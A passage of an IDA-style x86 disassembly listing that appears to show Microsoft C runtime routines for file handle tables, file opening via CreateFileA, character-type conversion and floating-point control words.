arg_0 = dword ptr 4
inc dword_46BCC8
push 1000h
call sub_415BE9
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_41D931
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_41D942
; ---------------------------------------------------------------------------
loc_41D931: ; CODE XREF: sub_41D908+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_41D942: ; CODE XREF: sub_41D908+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41D908 endp
; =============== S U B R O U T I N E =======================================
sub_41D94C proc near ; CODE XREF: sub_417C57+61p
; sub_4187D6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46CF20
jb short loc_41D95B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41D95B: ; CODE XREF: sub_41D94C+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46CE20[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41D94C endp
; =============== S U B R O U T I N E =======================================
sub_41D972 proc near ; DATA XREF: .text:00423020o
mov eax, dword_46CE00
push esi
push 14h
test eax, eax
pop esi
jnz short loc_41D986
mov eax, 200h
jmp short loc_41D98C
; ---------------------------------------------------------------------------
loc_41D986: ; CODE XREF: sub_41D972+Bj
cmp eax, esi
jge short loc_41D991
mov eax, esi
loc_41D98C: ; CODE XREF: sub_41D972+12j
mov dword_46CE00, eax
loc_41D991: ; CODE XREF: sub_41D972+16j
push 4
push eax
call sub_41F017
pop ecx
mov dword_46BDF8, eax
test eax, eax
pop ecx
jnz short loc_41D9C5
push 4
push esi
mov dword_46CE00, esi
call sub_41F017
pop ecx
mov dword_46BDF8, eax
test eax, eax
pop ecx
jnz short loc_41D9C5
push 1Ah
call sub_417C0E
pop ecx
loc_41D9C5: ; CODE XREF: sub_41D972+30j
; sub_41D972+49j
xor ecx, ecx
mov eax, offset off_43AB08
loc_41D9CC: ; CODE XREF: sub_41D972+6Ej
mov edx, dword_46BDF8
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43AD88
jl short loc_41D9CC
xor edx, edx
mov ecx, offset dword_43AB18
loc_41D9E9: ; CODE XREF: sub_41D972+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_46CE20[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41DA06
test eax, eax
jnz short loc_41DA09
loc_41DA06: ; CODE XREF: sub_41D972+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41DA09: ; CODE XREF: sub_41D972+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43AB78
jl short loc_41D9E9
pop esi
retn
sub_41D972 endp
; =============== S U B R O U T I N E =======================================
sub_41DA17 proc near ; DATA XREF: .text:00423030o
; FUNCTION CHUNK AT 0041F0C8 SIZE 00000058 BYTES
call sub_418760
cmp byte_46BB44, 0
jz short locret_41DA2A
jmp loc_41F0C8
; ---------------------------------------------------------------------------
locret_41DA2A: ; CODE XREF: sub_41DA17+Cj
retn
sub_41DA17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA2B proc near ; CODE XREF: sub_417D6C+2D4p
; sub_417D6C+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41DA37
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DA37: ; CODE XREF: sub_41DA2B+8j
cmp dword_46BB9C, 0
jnz short loc_41DA52
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_41DA84
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DA52: ; CODE XREF: sub_41DA2B+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_4385FC
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_46BBAC
call dword_421138 ; WideCharToMultiByte
test eax, eax
jz short loc_41DA84
cmp [ebp+arg_0], 0
jz short loc_41DA91
loc_41DA84: ; CODE XREF: sub_41DA2B+1Ej
; sub_41DA2B+51j
mov dword_46BB04, 2Ah
or eax, 0FFFFFFFFh
loc_41DA91: ; CODE XREF: sub_41DA2B+57j
pop ebp
retn
sub_41DA2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA93 proc near ; CODE XREF: sub_418576+5Ep
; sub_41CA9C+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421BB0
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_46BCCC
xor ebx, ebx
cmp eax, ebx
jnz short loc_41DB02
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_4218A0
push esi
call dword_421028 ; GetStringTypeW
test eax, eax
jz short loc_41DAE0
mov eax, esi
jmp short loc_41DAFD
; ---------------------------------------------------------------------------
loc_41DAE0: ; CODE XREF: sub_41DA93+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_43B668
push esi
push ebx
call dword_42102C ; GetStringTypeA
test eax, eax
jz loc_41DBC8
push 2
pop eax
loc_41DAFD: ; CODE XREF: sub_41DA93+4Bj
mov dword_46BCCC, eax
loc_41DB02: ; CODE XREF: sub_41DA93+2Fj
cmp eax, 2
jnz short loc_41DB2B
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_41DB13
mov eax, dword_46BB9C
loc_41DB13: ; CODE XREF: sub_41DA93+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_42102C ; GetStringTypeA
jmp loc_41DBCA
; ---------------------------------------------------------------------------
loc_41DB2B: ; CODE XREF: sub_41DA93+72j
cmp eax, 1
jnz loc_41DBC8
cmp [ebp+arg_10], ebx
jnz short loc_41DB41
mov eax, dword_46BBAC
mov [ebp+arg_10], eax
loc_41DB41: ; CODE XREF: sub_41DA93+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_421064 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_41DBC8
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_415B90
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_415390
add esp, 0Ch
jmp short loc_41DB97
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_41DB97: ; CODE XREF: sub_41DA93+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41DBC8
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_421064 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_41DBC8
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_421028 ; GetStringTypeW
jmp short loc_41DBCA
; ---------------------------------------------------------------------------
loc_41DBC8: ; CODE XREF: sub_41DA93+61j
; sub_41DA93+9Bj ...
xor eax, eax
loc_41DBCA: ; CODE XREF: sub_41DA93+93j
; sub_41DA93+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41DA93 endp
; =============== S U B R O U T I N E =======================================
sub_41DBDC proc near ; CODE XREF: sub_41DDF6:loc_41DF6Ep
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_46CE20
loc_41DBEB: ; CODE XREF: sub_41DBDC+48j
mov eax, [ecx]
test eax, eax
jz short loc_41DC28
lea edx, [eax+100h]
loc_41DBF7: ; CODE XREF: sub_41DBDC+28j
cmp eax, edx
jnb short loc_41DC17
test byte ptr [eax+4], 1
jz short loc_41DC06
add eax, 8
jmp short loc_41DBF7
; ---------------------------------------------------------------------------
loc_41DC06: ; CODE XREF: sub_41DBDC+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41DC6B
loc_41DC17: ; CODE XREF: sub_41DBDC+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_46CF20
jl short loc_41DBEB
jmp short loc_41DC6B
; ---------------------------------------------------------------------------
loc_41DC28: ; CODE XREF: sub_41DBDC+13j
mov esi, 100h
push esi
call sub_415BE9
test eax, eax
pop ecx
jz short loc_41DC6B
add dword_46CF20, 20h
lea ecx, ds:46CE20h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41DC4E: ; CODE XREF: sub_41DBDC+88j
cmp eax, edx
jnb short loc_41DC66
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41DC4E
; ---------------------------------------------------------------------------
loc_41DC66: ; CODE XREF: sub_41DBDC+74j
shl edi, 5
mov ebx, edi
loc_41DC6B: ; CODE XREF: sub_41DBDC+39j
; sub_41DBDC+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41DBDC endp
; =============== S U B R O U T I N E =======================================
sub_41DC71 proc near ; CODE XREF: sub_41DDF6+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_46CF20
push edi
jnb short loc_41DCD1
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:46CE20h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_41DCD1
cmp dword_4383E4, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_41DCC7
sub eax, 0
jz short loc_41DCBE
dec eax
jz short loc_41DCB9
dec eax
jnz short loc_41DCC7
push ebx
push 0FFFFFFF4h
jmp short loc_41DCC1
; ---------------------------------------------------------------------------
loc_41DCB9: ; CODE XREF: sub_41DC71+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_41DCC1
; ---------------------------------------------------------------------------
loc_41DCBE: ; CODE XREF: sub_41DC71+3Bj
push ebx
push 0FFFFFFF6h
loc_41DCC1: ; CODE XREF: sub_41DC71+46j
; sub_41DC71+4Bj
call dword_421024 ; SetStdHandle
loc_41DCC7: ; CODE XREF: sub_41DC71+36j
; sub_41DC71+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_41DCE5
; ---------------------------------------------------------------------------
loc_41DCD1: ; CODE XREF: sub_41DC71+Cj
; sub_41DC71+28j
and dword_46BB08, 0
mov dword_46BB04, 9
or eax, 0FFFFFFFFh
loc_41DCE5: ; CODE XREF: sub_41DC71+5Ej
pop edi
pop esi
retn
sub_41DC71 endp
; =============== S U B R O U T I N E =======================================
sub_41DCE8 proc near ; CODE XREF: sub_4185EB+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_46CF20
push edi
jnb short loc_41DD4B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:46CE20h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41DD4B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41DD4B
cmp dword_4383E4, 1
jnz short loc_41DD41
xor eax, eax
sub ecx, eax
jz short loc_41DD38
dec ecx
jz short loc_41DD33
dec ecx
jnz short loc_41DD41
push eax
push 0FFFFFFF4h
jmp short loc_41DD3B
; ---------------------------------------------------------------------------
loc_41DD33: ; CODE XREF: sub_41DCE8+41j
push eax
push 0FFFFFFF5h
jmp short loc_41DD3B
; ---------------------------------------------------------------------------
loc_41DD38: ; CODE XREF: sub_41DCE8+3Ej
push eax
push 0FFFFFFF6h
loc_41DD3B: ; CODE XREF: sub_41DCE8+49j
; sub_41DCE8+4Ej
call dword_421024 ; SetStdHandle
loc_41DD41: ; CODE XREF: sub_41DCE8+38j
; sub_41DCE8+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_41DD5F
; ---------------------------------------------------------------------------
loc_41DD4B: ; CODE XREF: sub_41DCE8+Cj
; sub_41DCE8+2Aj ...
and dword_46BB08, 0
mov dword_46BB04, 9
or eax, 0FFFFFFFFh
loc_41DD5F: ; CODE XREF: sub_41DCE8+61j
pop edi
pop esi
retn
sub_41DCE8 endp
; =============== S U B R O U T I N E =======================================
sub_41DD62 proc near ; CODE XREF: sub_4185EB+32p
; sub_4185EB+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46CF20
jnb short loc_41DD8A
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46CE20[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41DD8A
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41DD8A: ; CODE XREF: sub_41DD62+Aj
; sub_41DD62+23j
and dword_46BB08, 0
mov dword_46BB04, 9
or eax, 0FFFFFFFFh
retn
sub_41DD62 endp
; =============== S U B R O U T I N E =======================================
sub_41DD9F proc near ; CODE XREF: sub_4186C9+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46CF20
jnb short loc_41DDE8
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_46CE20[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41DDE8
push eax
call sub_41DD62
pop ecx
push eax
call dword_421020 ; FlushFileBuffers
test eax, eax
jnz short loc_41DDDD
call dword_421088 ; RtlGetLastWin32Error
jmp short loc_41DDDF
; ---------------------------------------------------------------------------
loc_41DDDD: ; CODE XREF: sub_41DD9F+34j
xor eax, eax
loc_41DDDF: ; CODE XREF: sub_41DD9F+3Cj
test eax, eax
jz short locret_41DDF5
mov dword_46BB08, eax
loc_41DDE8: ; CODE XREF: sub_41DD9F+Aj
; sub_41DD9F+22j
mov dword_46BB04, 9
or eax, 0FFFFFFFFh
locret_41DDF5: ; CODE XREF: sub_41DD9F+42j
retn
sub_41DD9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DDF6 proc near ; CODE XREF: sub_4188A0+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41DE1C
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41DE27
; ---------------------------------------------------------------------------
loc_41DE1C: ; CODE XREF: sub_41DDF6+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41DE27: ; CODE XREF: sub_41DDF6+24j
mov eax, 8000h
test ecx, eax
jnz short loc_41DE41
test ch, 40h
jnz short loc_41DE3D
cmp dword_46BDD8, eax
jz short loc_41DE41
loc_41DE3D: ; CODE XREF: sub_41DDF6+3Dj
or [ebp+var_1], 80h
loc_41DE41: ; CODE XREF: sub_41DDF6+38j
; sub_41DDF6+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41DE79
dec eax
jz short loc_41DE70
dec eax
jz short loc_41DE67
loc_41DE52: ; CODE XREF: sub_41DDF6+9Fj
; sub_41DDF6+E8j ...
mov dword_46BB04, 16h
mov dword_46BB08, ebx
jmp loc_41E08C
; ---------------------------------------------------------------------------
loc_41DE67: ; CODE XREF: sub_41DDF6+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_41DE80
; ---------------------------------------------------------------------------
loc_41DE70: ; CODE XREF: sub_41DDF6+57j
mov [ebp+var_C], 40000000h
jmp short loc_41DE80
; ---------------------------------------------------------------------------
loc_41DE79: ; CODE XREF: sub_41DDF6+54j
mov [ebp+var_C], 80000000h
loc_41DE80: ; CODE XREF: sub_41DDF6+78j
; sub_41DDF6+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41DEAE
cmp eax, 20h
jz short loc_41DEA5
cmp eax, 30h
jz short loc_41DE9C
cmp eax, 40h
jnz short loc_41DE52
mov [ebp+var_10], esi
jmp short loc_41DEB1
; ---------------------------------------------------------------------------
loc_41DE9C: ; CODE XREF: sub_41DDF6+9Aj
mov [ebp+var_10], 2
jmp short loc_41DEB1
; ---------------------------------------------------------------------------
loc_41DEA5: ; CODE XREF: sub_41DDF6+95j
mov [ebp+var_10], 1
jmp short loc_41DEB1
; ---------------------------------------------------------------------------
loc_41DEAE: ; CODE XREF: sub_41DDF6+90j
mov [ebp+var_10], ebx
loc_41DEB1: ; CODE XREF: sub_41DDF6+A4j
; sub_41DDF6+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41DEFB
jz short loc_41DEF6
cmp ecx, ebx
jz short loc_41DEF6
cmp ecx, edi
jz short loc_41DEED
cmp ecx, 200h
jz short loc_41DF14
cmp ecx, 300h
jnz loc_41DE52
mov [ebp+var_8], 2
jmp short loc_41DF24
; ---------------------------------------------------------------------------
loc_41DEED: ; CODE XREF: sub_41DDF6+D8j
mov [ebp+var_8], 4
jmp short loc_41DF24
; ---------------------------------------------------------------------------
loc_41DEF6: ; CODE XREF: sub_41DDF6+D0j
; sub_41DDF6+D4j
mov [ebp+var_8], esi
jmp short loc_41DF24
; ---------------------------------------------------------------------------
loc_41DEFB: ; CODE XREF: sub_41DDF6+CEj
cmp ecx, 500h
jz short loc_41DF1D
cmp ecx, 600h
jz short loc_41DF14
cmp ecx, edx
jz short loc_41DF1D
jmp loc_41DE52
; ---------------------------------------------------------------------------
loc_41DF14: ; CODE XREF: sub_41DDF6+E0j
; sub_41DDF6+113j
mov [ebp+var_8], 5
jmp short loc_41DF24
; ---------------------------------------------------------------------------
loc_41DF1D: ; CODE XREF: sub_41DDF6+10Bj
; sub_41DDF6+117j
mov [ebp+var_8], 1
loc_41DF24: ; CODE XREF: sub_41DDF6+F5j
; sub_41DDF6+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_41DF43
mov ecx, dword_46BB0C
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_41DF43
push 1
pop esi
loc_41DF43: ; CODE XREF: sub_41DDF6+138j
; sub_41DDF6+148j
test al, 40h
jz short loc_41DF51
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_41DF51: ; CODE XREF: sub_41DDF6+14Fj
test ah, 10h
jz short loc_41DF58
or esi, edi
loc_41DF58: ; CODE XREF: sub_41DDF6+15Ej
test al, 20h
jz short loc_41DF64
or esi, 8000000h
jmp short loc_41DF6E
; ---------------------------------------------------------------------------
loc_41DF64: ; CODE XREF: sub_41DDF6+164j
test al, 10h
jz short loc_41DF6E
or esi, 10000000h
loc_41DF6E: ; CODE XREF: sub_41DDF6+16Cj
; sub_41DDF6+170j
call sub_41DBDC
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_41DF8F
and dword_46BB08, 0
mov dword_46BB04, 18h
jmp short loc_41DFCD
; ---------------------------------------------------------------------------
loc_41DF8F: ; CODE XREF: sub_41DDF6+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_421078 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_41DFC0
push esi
call dword_421030 ; GetFileType
test eax, eax
jnz short loc_41DFD4
push esi
call dword_42106C ; CloseHandle
loc_41DFC0: ; CODE XREF: sub_41DDF6+1B6j
call dword_421088 ; RtlGetLastWin32Error
push eax
call sub_41CE74
pop ecx
loc_41DFCD: ; CODE XREF: sub_41DDF6+197j
mov eax, edi
jmp loc_41E0AA
; ---------------------------------------------------------------------------
loc_41DFD4: ; CODE XREF: sub_41DDF6+1C1j
cmp eax, 2
jnz short loc_41DFDF
or [ebp+var_1], 40h
jmp short loc_41DFE8
; ---------------------------------------------------------------------------
loc_41DFDF: ; CODE XREF: sub_41DDF6+1E1j
cmp eax, 3
jnz short loc_41DFE8
or [ebp+var_1], 8
loc_41DFE8: ; CODE XREF: sub_41DDF6+1E7j
; sub_41DDF6+1ECj
push esi
push ebx
call sub_41DC71
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:46CE20h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_41E091
test al, 80h
jz short loc_41E091
test byte ptr [ebp+arg_4], 2
jz short loc_41E091
push 2
push 0FFFFFFFFh
push ebx
call sub_41C447
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_41E046
cmp dword_46BB08, 83h
jz short loc_41E091
jmp short loc_41E085
; ---------------------------------------------------------------------------
loc_41E046: ; CODE XREF: sub_41DDF6+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41C251
add esp, 0Ch
test eax, eax
jnz short loc_41E073
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_41E073
push [ebp+var_10]
push ebx
call sub_41F120
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E085
loc_41E073: ; CODE XREF: sub_41DDF6+265j
; sub_41DDF6+26Bj
push 0
push 0
push ebx
call sub_41C447
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_41E091
loc_41E085: ; CODE XREF: sub_41DDF6+24Ej
; sub_41DDF6+27Bj
push ebx
call sub_4185EB
pop ecx
loc_41E08C: ; CODE XREF: sub_41DDF6+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41E0AA
; ---------------------------------------------------------------------------
loc_41E091: ; CODE XREF: sub_41DDF6+221j
; sub_41DDF6+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41E0A8
test byte ptr [ebp+arg_4], 8
jz short loc_41E0A8
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_41E0A8: ; CODE XREF: sub_41DDF6+29Fj
; sub_41DDF6+2A5j
mov eax, ebx
loc_41E0AA: ; CODE XREF: sub_41DDF6+1D9j
; sub_41DDF6+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41DDF6 endp
; =============== S U B R O U T I N E =======================================
sub_41E0AF proc near ; CODE XREF: sub_41A43E+52p
xor eax, eax
retn
sub_41E0AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E0B2 proc near ; CODE XREF: sub_41E0E7+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41E0FD
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41E18F
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_41E0B2 endp
; =============== S U B R O U T I N E =======================================
sub_41E0E7 proc near ; CODE XREF: sub_41A72A+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_41E0B2
pop ecx
pop ecx
retn
sub_41E0E7 endp
; =============== S U B R O U T I N E =======================================
sub_41E0FD proc near ; CODE XREF: sub_41E0B2+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_41E10E
push 10h
pop eax
loc_41E10E: ; CODE XREF: sub_41E0FD+Cj
test bl, 4
jz short loc_41E115
or al, 8
loc_41E115: ; CODE XREF: sub_41E0FD+14j
test bl, 8
jz short loc_41E11C
or al, 4
loc_41E11C: ; CODE XREF: sub_41E0FD+1Bj
test bl, 10h
jz short loc_41E123
or al, 2
loc_41E123: ; CODE XREF: sub_41E0FD+22j
test bl, 20h
jz short loc_41E12A
or al, 1
loc_41E12A: ; CODE XREF: sub_41E0FD+29j
test bl, 2
jz short loc_41E134
or eax, 80000h
loc_41E134: ; CODE XREF: sub_41E0FD+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_41E16C
cmp edx, 400h
jz short loc_41E169
cmp edx, 800h
jz short loc_41E165
cmp edx, esi
jnz short loc_41E16C
or eax, edi
jmp short loc_41E16C
; ---------------------------------------------------------------------------
loc_41E165: ; CODE XREF: sub_41E0FD+5Ej
or eax, ebp
jmp short loc_41E16C
; ---------------------------------------------------------------------------
loc_41E169: ; CODE XREF: sub_41E0FD+56j
or ah, 1
loc_41E16C: ; CODE XREF: sub_41E0FD+4Ej
; sub_41E0FD+62j ...
and ecx, edi
pop esi
jz short loc_41E17C
cmp ecx, ebp
jnz short loc_41E181
or eax, 10000h
jmp short loc_41E181
; ---------------------------------------------------------------------------
loc_41E17C: ; CODE XREF: sub_41E0FD+72j
or eax, 20000h
loc_41E181: ; CODE XREF: sub_41E0FD+76j
; sub_41E0FD+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41E18E
or eax, 40000h
locret_41E18E: ; CODE XREF: sub_41E0FD+8Aj
retn
sub_41E0FD endp
; =============== S U B R O U T I N E =======================================
sub_41E18F proc near ; CODE XREF: sub_41E0B2+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41E19F
push 1
pop eax
loc_41E19F: ; CODE XREF: sub_41E18F+Bj
test bl, 8
jz short loc_41E1A6
or al, 4
loc_41E1A6: ; CODE XREF: sub_41E18F+13j
test bl, 4
jz short loc_41E1AD
or al, 8
loc_41E1AD: ; CODE XREF: sub_41E18F+1Aj
test bl, 2
jz short loc_41E1B4
or al, 10h
loc_41E1B4: ; CODE XREF: sub_41E18F+21j
test bl, 1
jz short loc_41E1BB
or al, 20h
loc_41E1BB: ; CODE XREF: sub_41E18F+28j
test ebx, 80000h
jz short loc_41E1C5
or al, 2
loc_41E1C5: ; CODE XREF: sub_41E18F+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_41E1F2
cmp ecx, 100h
jz short loc_41E1EF
cmp ecx, esi
jz short loc_41E1EA
cmp ecx, edx
jnz short loc_41E1F2
or ah, 0Ch
jmp short loc_41E1F2
; ---------------------------------------------------------------------------
loc_41E1EA: ; CODE XREF: sub_41E18F+50j
or ah, 8
jmp short loc_41E1F2
; ---------------------------------------------------------------------------
loc_41E1EF: ; CODE XREF: sub_41E18F+4Cj
or ah, 4
loc_41E1F2: ; CODE XREF: sub_41E18F+44j
; sub_41E18F+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_41E208
cmp ecx, 10000h
jnz short loc_41E20A
or eax, esi
jmp short loc_41E20A
; ---------------------------------------------------------------------------
loc_41E208: ; CODE XREF: sub_41E18F+6Bj
or eax, edx
loc_41E20A: ; CODE XREF: sub_41E18F+73j
; sub_41E18F+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_41E217
or ah, 10h
locret_41E217: ; CODE XREF: sub_41E18F+83j
retn
sub_41E18F endp
; =============== S U B R O U T I N E =======================================
sub_41E218 proc near ; CODE XREF: sub_41E2B7+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_41E25D
inc esi
cmp esi, 3
jge short loc_41E258
lea eax, [eax+esi*4]
loc_41E24A: ; CODE XREF: sub_41E218+3Ej
cmp dword ptr [eax], 0
jnz short loc_41E25D
inc esi
add eax, 4
cmp esi, 3
jl short loc_41E24A
loc_41E258: ; CODE XREF: sub_41E218+2Dj
push 1
pop eax
pop esi
retn
